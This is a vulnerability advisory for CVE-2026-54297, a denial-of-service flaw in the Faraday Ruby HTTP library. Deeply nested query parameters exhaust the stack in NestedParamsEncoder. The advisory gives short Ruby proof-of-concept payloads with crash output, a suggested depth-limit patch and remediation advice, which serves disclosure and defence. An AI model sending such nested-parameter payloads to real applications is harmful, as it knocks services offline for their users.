CVE-2026-54297: Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters
Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters
Summary
Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.
A crafted query string such as:
text a[x][x][x][x]...[x]=1
causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker.
This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.
Affected Product
- Product: Faraday - Repository: https://github.com/lostisland/faraday - Tested version: v2.14.2-2-g59334e0 - Tested commit: 59334e0e9b19 - Ruby version: ruby 3.2.3 - Tested component: Faraday::NestedParamsEncoder / Faraday::Utils.parsenestedquery - Date tested: 2026-05-24
Vulnerability Type
- Denial of Service - Uncontrolled Recursion - Stack Exhaustion
Preconditions
An application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths.
Confirmed reachable paths include:
1. Direct use of the public utility:
ruby Faraday::Utils.parsenestedquery(untrustedquerystring)
2. Normal Faraday request URL building:
ruby conn = Faraday.new('https://api.example.com') conn.buildurl("/search?#{untrustedquerystring}")
In the second case, the crash occurs during URL construction before any network request is sent.
Impact
A relatively small query string can trigger a SystemStackError and crash the calling Ruby thread or worker.
In my local test environment, a payload of approximately 9.4 KB was sufficient:
text depth=3119 bytes=9360 result=SystemStackError message="stack level too deep"
Repeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.
This issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.
Technical Details
Faraday supports nested query parameters such as:
text user[name]=alice&user[roles][]=admin
which are decoded into nested Ruby structures.
However, Faraday also accepts arbitrarily deep nesting such as:
text a[x][x][x][x][x][x]...[x]=1
This creates a deeply nested structure similar to:
ruby { "a" => { "x" => { "x" => { "x" => { "x" => ... } } } } }
The recursive dehash routine then walks the structure without a maximum depth check.
Affected file:
text lib/faraday/encoders/nestedparamsencoder.rb
Relevant logic:
ruby def dehash(hash, depth) hash.each do |key, value| hash[key] = dehash(value, depth + 1) if value.isa?(Hash) end # ... end
Although the function accepts a depth argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string.
Proof of Concept
PoC 1: Direct parser crash
ruby require 'faraday'
payload = "a#{'[x]' 3119}=1" Faraday::Utils.parsenestedquery(payload)
Observed result:
text SystemStackError: stack level too deep
PoC 2: Normal URL-building crash
ruby require 'faraday'
conn = Faraday.new('https://api.example.com') payload = "/search?a#{'[x]' 3500}=1" conn.buildurl(payload)
Observed result:
text SystemStackError
No network request is required; the crash occurs during URL construction.
Local Reproduction Results
The issue was reproduced locally against Faraday commit 59334e0e9b19.
Environment:
text ruby 3.2.3 faraday v2.14.2-2-g59334e0 commit 59334e0e9b19
Full PoC result
text == (A) DEEP nesting -> dehash recursion / stack exhaustion == depth=100 parse=0.0003s OK depth=1000 parse=0.0034s OK depth=5000 SystemStackError (stack overflow DoS): SystemStackError depth=20000 SystemStackError (stack overflow DoS): SystemStackError depth=100000 SystemStackError (stack overflow DoS): SystemStackError
== (B) WIDE numeric keys -> dehash sort + numeric-key scan per level == N=1000 parse=0.0093s N=10000 parse=0.1053s N=50000 parse=0.4992s N=100000 parse=1.1242s
== (C) MANY array pushes a[]&a[]&... == N=1000 parse=0.0048s N=10000 parse=0.0614s N=50000 parse=0.2915s N=100000 parse=0.5403s
Minimal depth test
text depth=100 bytes=303 result=OK depth=1000 bytes=3003 result=OK depth=2500 bytes=7503 result=OK depth=3000 bytes=9003 result=OK depth=3119 bytes=9360 result=SystemStackError message="stack level too deep" depth=3500 bytes=10503 result=SystemStackError message="stack level too deep" depth=5000 bytes=15003 result=SystemStackError message="stack level too deep"
URL-building test
text buildurl depth=100 bytes=311 result=OK buildurl depth=1000 bytes=3011 result=OK buildurl depth=3500 bytes=10511 result=SystemStackError buildurl depth=8000 bytes=24011 result=SystemStackError
These results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition.
Expected Behavior
Faraday should reject excessively deep nested query parameters with a controlled and rescuable exception.
For example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion:
text Faraday::Error: Exceeded the maximum allowed nested parameter depth
Actual Behavior
Faraday recursively processes attacker-controlled nesting depth and eventually raises:
text SystemStackError: stack level too deep
This exception indicates stack exhaustion and can crash the calling worker/thread.
Suggested Fix
Add a configurable maximum nesting depth to Faraday::NestedParamsEncoder, similar to Rack's paramdepthlimit.
Suggested behavior:
- Set a default maximum depth, for example 100. - Reject keys whose subkey chain exceeds the maximum depth. - Raise a normal Faraday::Error or another controlled exception rather than allowing Ruby stack exhaustion.
Example patch concept:
ruby module Faraday module NestedParamsEncoder class << self attraccessor :sortparams, :arrayindices, :paramdepthlimit end
@paramdepthlimit = 100 end end
Then in decodepair:
ruby subkeys = key.scan(SUBKEYSREGEX) if paramdepthlimit && subkeys.length > paramdepthlimit raise Faraday::Error, "Exceeded the maximum allowed nested parameter depth of #{paramdepthlimit}" end
A local patch implementing this approach was tested. With the patch applied:
- The crash payloads raise a controlled Faraday::Error instead of SystemStackError. - Normal nested query parsing still works. - Existing encoder/utils tests passed in the local test set:
text 42 examples, 0 failures
Security Policy Fit
Faraday's SECURITY.md states that the 2.x branch is supported for security updates and that vulnerabilities should be reported privately.
This issue was reproduced on the current tested 2.x codebase:
text v2.14.2-2-g59334e0 commit 59334e0e9b19
The report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage.
Related Public Discussions / Duplicate Check
I searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including:
text NestedParamsEncoder parsenestedquery SystemStackError stack level too deep paramdepthlimit nested parameter depth Uncontrolled recursion CWE-674 dehash depth parsenestedquery depth
I did not find a public report or fix for this specific NestedParamsEncoder depth-limit / SystemStackError denial-of-service issue.
The closest unrelated public items I found were:
- lostisland/faraday#1107 — Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints - This appears unrelated to nested query parameter parsing and Faraday::NestedParamsEncoder. - GHSA-33mh-2634-fwr2 / CVE-2026-25765 - This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting.
Repo-local checks also found no existing paramdepthlimit or equivalent mitigation in lib/faraday/encoders/nestedparamsencoder.rb.
Severity
Suggested severity: Medium
Rationale:
- The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths. - The payload is small enough to be practical, approximately 9.4 KB in the local reproduction. - No authentication or user interaction is required in affected application patterns. - The confirmed impact is availability only.
Because Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly.
Notes
This report does not claim remote code execution, authentication bypass, or information disclosure.
The confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder.
No third-party live services were tested. Reproduction was performed only in a local lab environment.
Reporter
Reported by: Emre Koca
Please let me know if you need additional reproduction details, logs, or a patch proposal.
Other sources
Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. From 1.0.0 until 1.10.6 and 2.14.3, Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth. A crafted query string causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths. This vulnerability is fixed in 1.10.6 and 2.14.3.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
rubygems/faradayto a version that resolves this vulnerability.Fixed in 2.14.3 - Upgrade
Upgrade
Faradayto a version that resolves this vulnerability.Fixed in 1.10.6 - Upgrade
Upgrade
Faradayto a version that resolves this vulnerability.Fixed in 2.14.3 - Configuration
Set a maximum nested query parameter depth via `param_depth_limit` (e.g., 100) so `Faraday::NestedParamsEncoder` rejects subkey chains deeper than the limit by raising a controlled `Faraday::Error` instead of allowing `SystemStackError`.
Faraday::NestedParamsEncoder param_depth_limit = 100 - Operational
Ensure applications pass attacker-controlled query strings only through a Faraday configuration that enforces `Faraday::NestedParamsEncoder` nesting limits (e.g., `param_depth_limit`), since this DoS can be triggered during URL construction and parsing.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54297?
CVE-2026-54297 has a severity rating of 7.5, classified as high.
What impact does CVE-2026-54297 have?
CVE-2026-54297 can lead to a denial-of-service (DoS) condition due to stack exhaustion caused by uncontrolled recursion.
How do I fix CVE-2026-54297?
To mitigate CVE-2026-54297, update the Faraday library to a version that enforces a maximum nesting depth for query parameters.
What software is affected by CVE-2026-54297?
CVE-2026-54297 affects the Faraday library in RubyGems.
How does CVE-2026-54297 occur?
CVE-2026-54297 occurs when deeply nested query parameters are processed without any restrictions on nesting depth.